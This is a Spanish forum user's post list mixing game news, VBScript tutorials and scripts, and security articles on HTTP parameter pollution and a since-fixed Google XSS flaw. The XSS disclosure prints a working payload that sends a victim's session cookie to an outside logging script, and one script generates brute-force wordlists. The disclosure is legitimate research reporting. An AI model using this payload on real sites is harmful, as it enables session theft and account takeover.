Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Novlucker

#181
Buenas ...

De casualidad me he encontrado con unos juegos que me han recordado a otro que jugaba hace unos años, el cual ahora no puedo encontrar  :P

Los juegos que me lo han recordado son Pocket Tanks y Atomic Cannon:



En definitiva ... un jueguito de tanques que se podía jugar de a dos, al estilo de Worms, tenías diferentes misiles y balas, pero bueno un poco más rudimentario ya que como dije ... lo jugaba hace unos años atrás ... en un win 95 ... digamos unos 10 años  :silbar:

Alguien tiene idea de como se podía llamar?  ;D

Saludos
#182
 Luego de los continuos fracasos de la serie Need For Speed tuvimos que empezar a mirar a otro lado para conseguir un juego de carreras que nos sorprenda y nos divierta. Una de las tantas empresas que llenó ese rol fue Codemasters, quienes a principios de junio tienen pensado traernos un juego de carreras post-apocalítptico tan ambicioso que marcó un récord por el mundo más grande en un videojuego de consolas. 14,400 km² de pura exploración.

Codemaster nos ha demostrado en otras ocasiones que pueden hacer juegos de coches. Estos son los muchachos que hicieron GRID, ¿debo decir algo más? Resulta ser que, aunque hacer el mismo juego con algunas mejoras podría haberles sido muy rentable, esta vez decidieron ir un poco más allá y crear algo nuevo. Es por eso que designaron a la desarrolladora francesa, Asobo Studio, para que produzca su próximo gran juego de carreras. Por lo que hemos visto, Fuel no solo se verá de maravilla, sino que ya, a medio mes de su salida, logró un récord Guinness por el juego de consolas con el mundo abierto más grande de la historia. ¿Quién dice que el tamaño no importa?

Seguramente estas pensando, ¿cómo puede ser que un juego de carreras tenga el mundo más grande? Pues así como escuchas, Fuel será un juego de carreras post-apocalíptico con un mundo arrasado por el calentamiento global. Es decir, una especie de Fallout con autitos. Obviamente no habrá mucho que hacer en pie y aún no sabemos si se podrá salir del vehículo, pero lo que sí sabemos es que tendremos cerca de 14,400 km², para explorar a gusto.

[youtube=425,350]http://www.youtube.com/watch?v=P85HCuPc5fg[/youtube]

El hecho de que sea un mundo post-apocalíptico no es solo un fondo para hacer del mundo algo más interesante, sino que entrará en juego con enormes tornados y tormentas de arena, entre otros desastres meteorológicos. Además, habrá un ciclo de noche y día, lo que garantiza que nunca sabrás cuando puede venir la próxima tormenta, sino que será completamente aleatorio. Ya podemos imaginar lo divertido que será correr una carrera en plena noche, acompañado con un lindo tornado.

Los desarrolladores han garantizado que, aunque este es el mundo más grande que hemos visto, Fuel no tendrá ningún tiempo de carga entre zonas, lo que garantiza horas de juego con una fluidez sin igual.Y para darnos una idea de lo enorme que es el terreno, Codemaster dijo que el mapa es más grande que Hong Kong, Singapur, Santa Lucia y la Isla de Man, sumadas... es decir, muy, pero muy, pero muuuuuy grande. Muy...

Podrá no verse tan bien como GRID, pero Fuel promete muchas más emociones... ¡y tornados!

Y para recorrer esos truculentos caminos tendremos a nuestra disposición una buena variedad de vehículos, divididos en seis clases diferentes. Desde motos, vehículos todo terreno, Muscle Cars (de alto rendimiento) y deportivos, hasta buggies, camiones y aerodeslizadores. Es decir que habrá variedad para todos los gustos, lo que siempre es bienvenido.

Lamentablemente aún no sabemos tanto como querríamos, pero si nos guiamos por lo que Codemasters nos ha acostumbrado, podemos esperar un juego de carreras con muy buenos gráficos y una jugabilidad muy accesible, pero a la vez satisfactoria. Posiblemente no intente ser realista en el manejo y la física de los vehículos, pero tendrá varios elementos que intentarán aumentar la realidad del juego en general.

Es raro que tan cerca de la salida no tengamos más información, pero parece que Codemaster quiere darnos una sorpresa. Con fecha de salida para el 2 de junio en Xbox 360 y PlayStation 3, seguida por la de PC semanas luego, ya podemos saborear la arena del mundo post-apocalíptico que han preparado para nosotros.

Fuente:http://www.neoteo.com/fuel-el-juego-mas-grande-del-mundo-guinness-15993.neo
#183
Por todos es conocido que los servidores web son uno de mayores objetivos de los ataques de hoy en día. El dinero y los datos accesibles a través de los portales web, con la finalidad de ofrecer un servicio, una vez más, se ven afectados por una nueva amenaza, un nuevo tipo de ataque.

En concreto, esta nueva técnica ha sido expuesta durante la conferencia OWASP Appsec Poland 2009 por parte de los expertos en seguridad Stefano Di Paola y Luca Carettoni y ha llegado en modo de correo a los suscritos a Bugtraq.

¿En qué consiste el ataque?
Pues una vez más (como sucede con un SQL Injection o una inyección de comandos) en la reacción que tiene el servidor web ante la manipulación de algún parámetro o cabecera en una aplicación web.

En este caso, consiste en la interpretación que tiene un servidor web cuando se repite el nombre de un parámetro dentro de la misma petición. Un ejemplo:

http://www.miaplicacion.com/index.asp&variable1=val1&variable2=val2

En este caso, cada variable recibiría su valor correcto por parte del servidor web y todo OK.

Sin embargo, supongamos que http://www.miaplicacion.com/index.asp&variable1=val1&variable1=val2

¿Qué valor tendría variable1 esta vez? Pues la respuesta es: depende del servidor web que lo interprete. Unos servidores asignarán el val1 y otros asignarán val2. En otros casos como IIS, su mecanismo interno los concatenará.

Por ejemplo, IIS se sabe que los concatena separándolos por comas. Apache solamente se queda con el primer valor que recibe un parámetro desechando el resto.

El impacto de este comportamiento por parte de los servidores Web puede ser enorme a la hora de procesar los argumentos, y puede dar lugar a múltiples posibilidades como sobreescritura de parámetros HTTP definidos por la aplicación en la URI, alteración del comportamiento de la aplicación, acceso y modificación de variables,... etc

Algo muy interesante es que aquellas empresas que como medidas preventivas de protección de sus aplicaciones web tengan un WAF (Web Application Firewall), que les permita sanitizar la entrada de las peticiones entrantes, tampoco estarán protegidas del todo.

En líneas generales, los Firewalls de Aplicaciones Web analizan las peticiones web basándose en firmas generalmente. Estas firmas son expresiones regulares que enfrentan contra las peticiones (los parámetros, las cabeceras, incluso el cuerpo de la página, etc...) de manera que, como si de un antivirus se tratara, si alguna de las "cadenas" coincide con la petición, la misma es bloqueada. Ahora bien, aprovechando esta nueva línea de ataque, es posible encapsular en la misma variable (repetida varias veces con diferente valor) un ataque, que si fuera en una sola variable, sería fácilmente detectada y bloqueada por cualquier WAF. De esta manera, al analizar cada parámetro, no se delimitaría como algo maliciosa la petición y sin embargo, al ser reensamblada e interpretada por el servidor web, sí que podría ser un riesgo en la seguridad de la aplicación.

Aquellos WAFs que no estén basados en tecnología de reverse proxy (proxy inverso) permitirán ser bypasseados ante este tipo de ataque.

Como ya indicamos en posts(1) anteriores( y 2), existe algún Firewall de Aplicaciones Web con un motor basado en ponderar los valores de los diferentes parámetros (con un funcionamiento parecido a un antispam) que en algunos de estos casos sería completamente efectivo (scoring list) además de porque está basado en tecnología de proxy inverso y en Apache, que como hemos visto sólo se quedaba con el primer valor asignado a un parámetro, reenviando sólo este valor al servidor final.

La presentación completa puede ser descargada aquí así como vista en Slideshare. Su lectura es altamente recomendable.

Fuente:http://www.securitybydefault.com/2009/05/seguridad-web-http-parameter-pollution.html
#184
Vulnerabilidad XSS Universal en todos los Servicios Google puede comprometer su información personal

Vulnerabilidad Reportada: 18-Abril-2009 9.33 pm
Respuesta de Google: 18-Abril-2009 10.19 pm (Wow! eso es súper rápido para un sábado :))
Vulnerabilidad Reparada: 05-Mayo-2009 7.05 pm
Cambio Propagado: 07-Mayo-2009 3.19 pm

Recientemente informé de una falla cross-scripting (XSS) a Google, que ahora ya está arreglada. La vulnerabilidad existía en el Script Python del Soporte de Google en donde una URL maliciosa no era depurada del caracter XSS ' (comilla simple) antes de ponerlo dentro de la variable logURL de javascript. Como resultado, era posible romper el encapsulamiento de la declaración var y ejecutar comandos javascript arbitrarios en el dominio principal Google.com.

La única limitación eran los siguientes caractéres que eran o bien filtrados o codificados para url - " (comillas dobles) < > (espacio) { }. Sin embargo, esta protección podía ser sorteada fácilmente. Puede escribir un comando javascript para robar cookies de sesión [gracias a que caractéres como ' ; . ( ) / = +aún estaban disponibles] y enviarlos a mi sitio malicioso. Vea el ejemplo que se da abajo.

Su cookie del dominio Google.com es el cookie central de autenticación única (SSO) para todos los servicios google. Una vez que alguien cualquiera lo obtenga, él o ella pueden usarlo para

1. Robarle sus emails.
2. Robarle sus contactos.
3. Robarle sus documentos.
4. Robarle sus código.
5. Robarle sus sitios.
6. Robarle sus website analytics.
7. Poner una entrada trasera en su página de inicio de iGoogle con gadgets maliciosos.
.... y deben haber aun varias cosas más que quedan con las que podrían jugar.

Un código de una sencilla Prueba de Concepto puede mostrar su cookie de Google.com en un cuadro de alerta:

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g

Un ejemplo más de la vida real donde un atacante silenciosamente transfiere su cookie Google.com a su sitio maligno:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index

Quiero agradecer al equipo de Seguridad de Google por sus rápidas respuestas y arreglo a este serio problema en tiempo y forma. Si piensa que Google se tomó mucho tiempo para arreglar esta vulnerabilidad, piénselo de nuevo. Este script de python es usado en muchos lugares. Intente esta soncera en Google para ver el uso de este script en casi todos los Servicios Google.

Fuente:http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/
Traducción para Segu-info:http://blog.segu-info.com.ar/2009/05/vulnerabilidad-xss-universal-en-todos.html
#185
Scripting / filnspect [VBS]
5 Mayo 2009, 18:19 PM
Buenas ...

Bueno, hace un tiempo y tras una consulta en el sub de seguridad se me ocurrió crear un pequeño script para consultar de manera automática sobre el origen de determinados archivos/librerías, para lo cual hacía uso de la web :http://www.fileinspect.com/, la cual esta en beta para ya muestra tener una buena bbdd :P

El caso es que en ese momento el script fue resultado de algunos minutos de aburrimiento, pero luego de analizarlo un poco más detenidamente me pareció que me podía resultar útil, así que lo he ido modificando en mi beneficio :D y lo comparto a continuación :P

Código (vb) [Seleccionar]
'by Novlucker
Set objxmlHTTP = CreateObject("Microsoft.XMLHTTP")
Set objfso = Createobject("Scripting.filesystemobject")

If wscript.arguments.count <> 2 then
Ayuda()
End if

Format = Ucase(wscript.arguments(0))

Select case Format
case "/F"
Set FromFolder = objfso.getfolder(wscript.arguments(1))
Set FileList = FromFolder.files
If FileList.count = 0 then
Msgbox "La carpeta seleccionada no contiene ningún archivo", 64, "Informe"
wscript.quit
End if
case "/A"
If objfso.fileexists(wscript.arguments(1)) then
Set FromFile = objfso.opentextfile(wscript.arguments(1),1)
FileList = Split(FromFile.readall,vbnewline)
FromFile.close
Else
Msgbox "El archivo seleccionado no existe", 16, "Informe"
wscript.quit
End if
case "/L"
FileList = Split(wscript.arguments(1),",")
case "/P"
Set Taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
Dim Taskname(): Redim Preserve Taskname(Taskmgr.count-1)
For Each T in Taskmgr
Taskname(n) = T.name
n = n+1
Next
FileList = FilterAray(Taskname)
case else
Ayuda()
End Select

For Each F in FileList

If Format = "/F" then
URLF = "http://www.fileinspect.com/fileinfo/" & LCase(Replace(F.name,".","-"))
F = F.name
Else
URLF = "http://www.fileinspect.com/fileinfo/" & LCase(Replace(F,".","-"))
End if

objxmlHTTP.open "GET", URLF, 0
objxmlHTTP.send()
Do while objxmlHTTP.readystate <> 4
wscript.sleep 200
Loop
response = objxmlHTTP.responsetext

blogcopy = instr(1,response,"id=""blog-copy-text""",1)

If blogcopy > 0 then
Startd = instr(blogcopy, response,">",1)+1
Endd = instr(Startd, response,"<",1)

Definition = mid(Response,Startd,Endd-Startd)
Definition = replace(Definition,"&lt;", "<")
Definition = replace(Definition,"&gt;", ">")
Definition = replace(Definition,"&quot;", """")

wscript.echo Definition
Else
wscript.echo "</p><table cellpadding=""0"" cellspacing=""0"" width=""100%"" bgcolor=#737CA1><tr><td><a style=""color:#000000;font-size:15px;color=white;text-decoration:none;font-family:Arial;border:0px;""<b>" & F & ": Archivo desconocido</b></a></td></tr></table>"
End if

Next

Function FilterAray(Aray)
dim auxAray()
For Each A in Aray
Match = False
On error resume next
Newlength = ubound(auxAray) + 1
If err.number > 0 then
Redim Preserve auxAray(0)
auxAray(0) = A
err.clear
On error goto 0
End if
For Each E in auxAray
If A = E then
Match = True
Exit For
End if
Next
If Match = False then
Redim Preserve auxAray(Newlength)
auxAray(Newlength) = A
End if
Next
FilterAray = auxAray
End Function

Sub ayuda()
wscript.echo vbnewline & "Uso: cscript.exe/nologo " & wscript.scriptname & " [formato] [parametro]" & vbnewline & _
vbnewline & chr(9) & "Formato" & chr(9) & "Parametro" & vbnewline & chr(9) & "/F" & chr(9) & "Ruta Carpeta" & vbnewline & _
chr(9) & "/A" & chr(9) & "Ruta Archivo (Conteniendo listado)" & vbnewline & chr(9) & "/L" & chr(9) & "Lista de archivos separados por coma" & vbnewline & _
chr(9) & "/P" & chr(9) & "Análisis de procesos en ejecución (Cualquier valor)" & vbnewline & vbnewline & "Ejemplos:" & vbnewline & chr(9) & "cscript.exe/nologo " & _
wscript.scriptname & " /F" & " C:\WINDOWS" & vbnewline & chr(9) & "cscript.exe/nologo " & wscript.scriptname & " /A" & _
" C:\Archivos.txt" & vbnewline & chr(9) & "cscript.exe/nologo " & wscript.scriptname & " /L" & " ""mstsc.exe,syskey.exe,appmgr.dll""" & _
vbnewline & chr(9) & "cscript.exe/nologo " & wscript.scriptname & " /P -"
wscript.quit
End Sub


El script debe de lanzarse desde línea de comandos pasando los parámetros correspondientes, los cuales pueden verse en la ayuda (tanto desde ms-dos como con doble click)

Ej:
Código (dos) [Seleccionar]
C:\Documents and Settings\Novlucker\Escritorio>cscript//nologo "filnspect.vbs" > Reporte.html

Como se ve además hay que redireccionar la salida (>) a un archivo de extensión html

Así se ve el resultado:

Saludos ;D

Post original: Error de permisos al modificar msconfig

Edito
:La web bajo la cual se realizaban las consultas, ha cambiado MUCHO la manera en la que se visualizan los archivos, por lo que ha dejado de ser funcional  :-\
#186
En estos tiempos no hay nadie que pueda negar que la consola Nintendo Wii es la más vendida del mercado. Su bajo costo en comparación con la competencia, su afinidad con el jugador casual y su control revolucionario han hecho que la Wii superara de manera aplastante tanto a las consolas actuales como a su antecesora GameCube, cuando en realidad su hardware no se diferencia mucho de ella. Pero el campo de la emulación siempre está presente, y si bien sus pasos suelen ser lentos, hace poco dio uno muy grande. Dolphin es para muchos el mejor emulador de Wii que existe, y ha alcanzado un estatus muy importante: Además de correr varios juegos, puede iniciar el sistema operativo de la consola.

Desde que el código del emulador fue publicado, ha ganado mucho terreno en relación a sus primeras versiones. Como todo emulador iniciado, tanto el rendimiento como la compatibilidad del mismo dejaban mucho que desear. Además, las primeras versiones estaban especialmente optimizadas para sistemas operativos de 64 bits, lo cual resultó ser un problema para la gran mayoría de los usuarios que querían probar el emulador. Ahora existen versiones de 32 y 64 bits, tanto para plataformas Windows como para plataformas Linux.


Las opciones de configuración del emulador son varias, y no todas funcionan en todos los juegos, por lo que hay que tener especial cuidado. Lo que puede hacer que un título funcione a la perfección, puede provocar que otro ni siquiera se inicie. De todas formas, como el emulador de código abierto que es, estamos lidiando con un trabajo en progreso. La última versión oficial del emulador fue lanzada hace tres días, pero también existen "builds no oficiales", que poseen alguna clase de optimización o que solucionan un bug específico. Demás está decirlo, los requerimientos de hardware son significativamente altos. Cuanta más RAM, más procesador y más tarjeta de vídeo posean, más podrán combatir las pérdidas de velocidad que presentan algunos juegos. Aquí dejamos un vídeo que encontramos en YouTube con una vieja versión de Dolphin corriendo Metroid Prime 3: Corruption, y en la descripción del vídeo podrán ver el hardware que se utilizó.


De todas formas, hay que reconocer el progreso del emulador. La última versión disponible ha logrado incluso iniciar el sistema operativo de la consola Wii, previa extracción del mismo desde la consola, por supuesto. Dolphin es un emulador, y si llegara a tener una porción de código de la Wii, no duraría mucho con la gran N persiguiéndolo. En cuanto al listado de juegos, la compatibilidad con GameCube es mucho mayor que con la Wii, pero la cosa va cambiando. Si tienes algún juego de estas consolas a la mano, consulta el listado en la página oficial y prueba a jugarlo. Que el juego no esté en la lista no significa que no funcione, así que lo ideal es comprobar el funcionamiento por uno mismo. Observa estas imágenes de la versión para Wii de Resident Evil.

      

      

El hardware disponible en estos días posee un poder de procesamiento excelente, pero como en todos los casos de emulación, el rendimiento final depende mucho del código implementado en el emulador mismo. Dolphin ha avanzado mucho, y puede correr muy buenos juegos sin problemas, pero todavía tiene un gran tramo por delante. Esperamos que siga progresando a buen ritmo, y no se encuentre ninguna piedra en el camino.

Página oficial:
http://www.dolphin-emu.com/news.php
Fuente:
http://www.neoteo.com/dolphin-emulador-de-wii-y-gamecube-15028.neo
#187
Hacking / Backtrack 4 beta
3 Febrero 2009, 11:45 AM
Buenas

Pues eso, ha salido la beta de Backtrack 4, y aunque por el momento no la he encontrado para descarga, al menos son nuevas noticias acerca de esta distro  :P





               

               

               


Info y News de esta versión (nuevo blog)
http://backtrack4.blogspot.com/2009/01/backtrack-4-almost-out-of-oven.html

Saludos ;D
#188
Citarpor : Jesús Maturana: 29 Ene 2009, 17:40

La Universidad de Berkeley concede créditos por la asignatura relacionada con el juego de estrategia en tiempo real de Blizzard StarCraft.

StarCraft es un, ya antiguo, juego de estrategia en tiempo real, con el que teniendo en cuenta el espíritu del original WarCraft, se usó la temática espacial. Pues a día de hoy se ha anunciado que el juego ha hecho acto de presencia en la Universidad, dado que en la Universidad de Berkeley (California) se impartirá una asignatura sobre él.

No es una asignatura a tomarse a broma, dado que tanto el temario como el esfuerzo para comprender cómo se desarrollan las batallas en el juego, exigen conocimentos de ecuaciones diferenciales y de cálculo avanzado. A continuación os dejamos tanto el temario como la página de la asignatura, que tan sólo tiene un cupo de 60 alumnos.

Vinculos
http://michaelo.phswebs.com/BerkeleyStarcraft/
http://michaelo.phswebs.com/BerkeleyStarcraft/syllabus.html


Fuente:
http://www.theinquirer.es/2009/01/29/nueva-asignatura-universitaria-starcraft.html
#189
CitarLo que parece una misión para un Jack Bauer de vacaciones, en realidad es un evento mundial de desarrollo acelerado de juegos. Global Game Jam reta a los aficionados de todo el mundo a crear un juego completo en solo dos días. Con España como participante, esto es como una olimpiada de creativos y programadores, que se llevará a cabo del 30 de enero al 1 de febrero. TIC TAC TIC TAC

Este fin de semana (del 30 de enero al 1 de febrero) desarrolladores de videojuegos de todo el mundo participarán en una misión que, si bien no imposible, sí mucho muy difícil: desarrollar un juego completo en solo 48 horas. Más de 1.500 entusiastas, entre los que se cuentan estudiantes, autodidactas y expertos de la industria, han escuchado la llamada y se aprontan para la batalla contra los segundos. Mucha cafeína en una iniciativa de la IDGA (International Game Developers Association) que, como se describe en el sitio oficial de España,  será "un encuentro intenso y emocionante entre aficionados a la creación de videojuegos."


Citar"Los objetivos de este encuentro son divertirse y crear juegos experimentales que resulten originales e innovadores.", se aclara, y Kyle Gabler (desarrollador del genial World of Goo), detalla: "La siguiente gran transformación en el mundo de los juegos no vendrá de un estudio grande, con equipos que cuestan millones de dólares y gigantescos presupuestos para marketing, vendrá de un chico que en su dormitorio y con algún software gratuito y una inacabable provisión de cafeína y motivación, construirá los comienzos para algunos de los mejores próximos juegos y lo hará en solo 48 horas." Por su parte, Susan Gold, una de los jurados, agrega que "el próximo Will Wright, Warren Spector o Kyle Gabler puede mostrar sus creaciones en este evento y será para él un momento que definirá su carrera."

¿Demasiados optimistas? Nosotros les creemos. IGDA es una asociación con mucho prestigio dentro del desarrollo independiente de juegos y las empresas que patrocinan el evento agregan ese ápice de apoyo monetario que todo  creativo necesita. Take-Two Interactive, Unity y GameRecruiter (una bolsa de trabajo para desarrolladores) apoyan el evento, lo que no es poco. De todas formas, hay que entender que "Global Game Jam no es una competición sino un espacio para fomentar la creatividad, intercambiar ideas y pasar un fin de semana intenso con gente apasionada por el desarrollo de videojuegos.", como dice su sitio oficial.

Por supuesto que habrá una selección de los mejores juegos, de parte de los jurados y los mismos participantes. Pero lo "único" que ganarán los valientes que logren las primeras posiciones será prestigio, el amor incondicional de las mujeres y una exposición impagable en la industria. Ah, y si eres de España podrás hacerte con consola de última generación y/o una licencia de Autodesk Mudboox 2009. Los juegos desarrollados en el evento, por último, siempre le pertenecerán a sus creadores, pero IDGA se reserva el derecho de mostrarlos en su sitio. Exposición, tío.
Fuente:
http://www.neoteo.com/global-game-jam-48-horas-de-desarrollo-14658.neo

Saldrá algo interesante, o será todo al estilo tetris, pacman y pinball? Reconozco que son juegos históricos, pero los tiempos han cambiado ;D

Saludos
#190
Juegos y Consolas / YouTube Street Fighter
21 Enero 2009, 11:47 AM
CitarPor:  Max Ferzzola   @  miércoles, 21 de enero de 2009

¿Alguna vez pensaste que podrías jugar Street Fighter en YouTube? Nosotros, por lo menos, no. Pero con la llegada de las anotaciones las posibilidades de incluir contenido interactivo en los contenidos audiovisuales se ha ampliado. Decenas de vídeos las incorporaron para hacer historias interactivas, utilizando la posibilidad de enlazar a páginas externas. Piénsalo como un elige tu propia aventura, en vídeo. YouTube Street Fighter va un poco más allá y, sin ser una genialidad, sí podría entenderse como un esbozo de las cosas por venir.

La llegada de las anotaciones en YouTube abrió un amplio marco para los uploaders con imaginación. Están aquellos que simplemente subtitulan o comentan cosas de los vídeos, no faltan los que hacen publicidad así como los que se la curran un poco más y han generado verdaderas y excelentes aventuras interactivas. Las posibilidades de las anotaciones, sin embargo, todavía se están explorando. Y Youtube Street Fighter es un paso adelante, un experimento, que arroja un vistazo sobre lo que podrían ser los vídeos interactivos del futuro si siguen evolucionando.


CitarJugar es tan simple como elegir un luchador y, cuando comienza la pelea, pinchar sobre los íconos que representan los golpes (a la izquierda). Cada clic que realices te llevará a un nuevo vídeo, donde se muestra un resultado. Con los casi 120 vídeos que completan el juego y tres luchadores que elegir, esta curiosidad es un proyecto más que encomendable.

YouTube Street Fighter fue filmado por Patrick Boivin, un cineasta francés canadiense autodidacta, por encargo de Sota Toys, compañía que posee los derechos de los muñecos de acción de los luchadores de la serie. Lo que ves en esta versión de Street Fighter no es animación por ordenador, sino "stop motion". Publicidad interactiva, viral, divertida y original que ya lleva casi un millón de vistas. ¡Puntos para Sota Toys por entender de qué va la cosa!

Fuente:
http://www.neoteo.com/youtube-street-fighter-14582.neo
#191
Scripting / Generar diccionario (vbs)
13 Noviembre 2008, 14:22 PM
Buenas....

Dejo un pequeño script para generar diccionarios de palabras (creado en un rato de ocio), es decir que, en base a un grupo de caracteres y una longitud seleccionada por el usuario, genera un listado de palabras con todas las posibles combinaciones de los caracteres.
Se puede portar facilmente a otros lenguajes como ser perl, python, VB (casi sin cambios), C/C++, etc

La idea de este es que sirva como ejemplo para aquellos que inician con vbs, el code no es para nada difícil, solamente necesita ser leído detenidamente  :P

Algunas de las funciones utilizadas que pueden resultar desconocidas son:
Lbound: Indica el número de índice más pequeño en un array
Ubound: Indica el número de índice más grande en un array
Cint: convierte a Integer el valor ingresado
Len: indica el largo de una palabra

Código
Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set ToFile = objfso.createtextfile("Dik.txt",True)

DicLis = Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z")
Length = Cint(inputbox("Ingrese el numero de caracteres de las palabras","Dictionary",""))

DicU = Lbound(DicLis)
DicL = Ubound(DicLis)

Complete("")

Function Complete(strin)

For z = DicU to DicL
word = strin & DicLis(z)

If Len(word) = Length then
ToFile.writeline word
Else
Complete(word)
End If

Next

End Function

ToFile.close
Msgbox "Proceso Terminado"


Ejemplo:
Longitud: 4 caracteres
Tiempo: 8 segundos
Total de palabras: 456977
P IV 3.0, 1gb de ram

Para agregar más letras, números o símbolos, simplemente hay que modificar el array DicLis

Hay que tener cuidado al probarlo, se debería de elegir un número más bien pequeño como ser 3 o 4, ya que probando con el actual "diccionario" y con palabras de longitud 6, el archivo generado ocupaba 400 mb, son unas 309 millones de palabras y puede tardar bastante (tuve que recurrir a taskkill XD)

El script en si utiliza recursividad para hacer todo el trabajo, de ahí es que ocupe solamente algunas líneas  ;)

Eso es todo, saludos  ;)

P.D: si no lo terminas de entender, ya sabes donde mirar XD
#192
Scripting / TUTORIAL vbscript
24 Septiembre 2008, 20:30 PM
Tutorial de vbscript by Novlucker

Temas

  • Introducción - pdf click
  • Operadores
  • Esctructuras de control

    • If
    • Case
    • For
    • While
    • Do
  • Manejo de objetos

    • Filesystemobject(FSO) - pdf click
    • wshShell
    • wshNetwork - pdf click
    • Dictionary - pdf click
    • Commondialog - pdf click

Se irán añadiendo nuevos objectos para descarga en pdf

Bueno, primero aclarar que este tutorial, pretende explicar de manera básica las distintas instrucciones aplicadas en visual basic script (vbs de aquí en más), para que así de este modo, todos aquellos interesados en este lenguaje de scripting, tengan la posibilidad de comenzar a desarrollar sus pequeños scripts.

Introducción:

Para empezar debemos decir que los vbs, tal y como lo dice su nombre, son "simples" scripts que se ejecutan por medio de un intérprete en el sistema, con lo que bastará con crear el código en un simple bloc de notas (o similar) y guardarlo con extensión *.vbs, sin necesidad de realizar ninguna compilación (aunque existe la posibilidad).

En este caso el intérprete  es, el Windows Script Host de Microsoft, por lo que estará presente (aunque en distintas versiones) de manera predeterminada desde Win 98 en adelante, así que  podremos hacer uso de estos archivos en prácticamente, todos los Windows.

Se puede decir que los vbs son una mejora con respecto a los bat, ya que estos permiten una mayor interacción con el sistema operativo, y decir además que este lenguaje, es un derivado de Visual Basic, por lo que desde un principio y aunque de manera mucho más limitada, se podrá familiarizar con dicho leguaje (la sintaxis es similar en todos los aspectos).

A tener en cuenta antes de comenzar:

•   En vbs no importan las mayúsculas o minúsculas
VBscript = vbscript
•   Para indicar un final de línea, no se debe de hacer más que pasar a la siguiente (no es necesario terminar con por ejemplo " ; " como en javascript)
•   Los comentarios, van precedidos de una " ' " (comilla simple)
   ' Esto es un comentario
•   No es obligatorio declarar las variables, aunque es conveniente hacerlo para dejar más legible el código
   Se pueden declarar utilizando Dim, o bien, se les da valor directamente.
   Dim nuestravariable
   También puede ser utilizado Option explicit para así "obligarse" a declarar las variables (en los pequeños ejemplos lo haré así)

En la mayoría de los ejemplos utilizaré la función msgbox, la cual se encarga de mostrar un mensaje en pantalla.

Tipos de dato:

Existen varios tipos de datos que pueden manejarse en vbs, y los que más vamos a utilizar, son ;
Booleano, Byte, Fecha, Double, Entero, Entero largo, Objeto, Single, Cadena.
Todos estos representan valores verdadero/falso, fecha/hora, númerosentero positivo/negativo, cadena de texto (no creo necesite más explicación que esta).

Operadores:

Tendremos varios tipos de operadores a nuestra disposición.

1.   Aritméticos:  Suma(+), Resta(-), Multiplicación(*), División decimal(/), División entero(\), Potencia(^), Resto división(mod)
2.   Comparación: Igual(=), Distinto(<>), Mayor(>), Menor(<), Menos o igual(<=), Mayor o igual(>=)
3.   Lógicos: Y(and), O(or), Xor, No(not)
4.   De cadena: Concatenación(&)

Estos han sido a grandes rasgos, los operadores a utilizar en vbs, por lo que después, y haciendo uso de nuestro próximo tema (estructuras de control), se mostrarán algunos ejemplos.

Estructuras de control:

1.   IF (condicional)
Esta se utiliza para evaluar 2 o más posibles resultados, en virtud del cual, se tomarán diferentes acciones.
   
CitarDim valor
Valor = 8
If  valor < 10 then
   Msgbox "El valor es MENOR a diez "
Else
   Msgbox "El valor es MAYOR a diez "
End if

Como se ve en este ejemplo se comienza declarando la variable "valor", luego de esto, se le asigna el valor 8, y posterior a esto, se evalúa dicho valor (haciendo uso de los operadores de comparación vistos anteriormente), por lo que si el valor es menor a 10, se mostrará un mensaje en pantalla indicando que es MENOR, de lo contrario, el mensaje indicará MAYOR (en este caso le habíamos asignado el valor 8, por lo que será menor).


2.   Case (condicional)
En el caso del IF, si bien no se ha mostrado, existe la posibilidad de anidar dos o más, para así realizar varias evaluaciones, pero el caso es que cuando se realizan muchas, el código puede volverse algo engorroso. Es en estos casos, donde recurrimos al select case.

CitarDim numero
numero = 8
Select case numero
   case 6
      msgbox "El valor es seis "
   case 7
      msgbox "El valor es siete "
   case 8
      msgbox "El valor es ocho "
End select

Al igual que en el anterior, en este ejemplo, se comienza definiendo la variable "numero", y se le asigna 8 como valor. Luego con select case se indica que es lo que se va a revisar, en este caso, cuanto es el valor de "numero", luego, se indican las opciones con un case por cada una de ellas, en este caso, "case 6", en el caso de que el valor sea 6, "case 7", y "case 8", para el caso de que el valor sea 7 y 8 respectivamente (como sabemos es 8), es decir, "si es 6", mensaje "El valor es seis", "si es 7", mensaje "El valor es siete", y "si es 8", mensaje "El valor es ocho".

3.   FOR (bucle)
El for es utilizado cuando queremos repetir una determinada acción un cierto número de veces.

CitarDim i
For i=1 to 5 step 1
   Msgbox "El valor de i es: " & i
Next

Comenzamos definiendo la variable "i", luego de esto, inicializamos el bucle for, es decir, decimos que; desde "i" igual 1, a "i" igual 5, incrementando de a
1, mostraremos un mensaje con la frase "El valor de i es: " y luego de esto, el valor real de "i", por lo que en cada "paso" que de nuestro bucle, mostrará algo más o menos así...



Como ven, 5 mensajes "casi" iguales, ya que la secuencia se repite 5 veces, y lo único que cambia es el valor de "i" (la hemos concatenado al mensaje con el carácter &), ya que va tomando distintos valores en cada uno de los "pasos".

4.   FOR EACH(bucle)
El for each, tiene la particularidad de que es un for que recorre todos los elementos de una colección o vector. Antes de continuar, intentaré explicar lo que es un "array", ya que será lo que utilicemos en el ejemplo.
Un array o matriz, es una estructura de datos en forma de variable, que permite almacenar más de un único valor, dentro de una única variable. Para acceder a cada uno de estos valores, será necesario hacer uso de índices.

CitarDim nombres(2)
nombres(0)= "Martín"
nombres(1)= "Pablo "
nombres(2)= "Carlos "
Msgbox nombres(1)

En este ejemplo, se define la variable "nombres" que tendrá espacio para 3 valores (tener en cuenta que comienza por 0, por eso que se ponga 2), y luego, se definen cada uno de los valores de "nombres". Por último utilizamos un mensaje, para mostrar el valor del índice 1 del array, con el siguiente resultado...



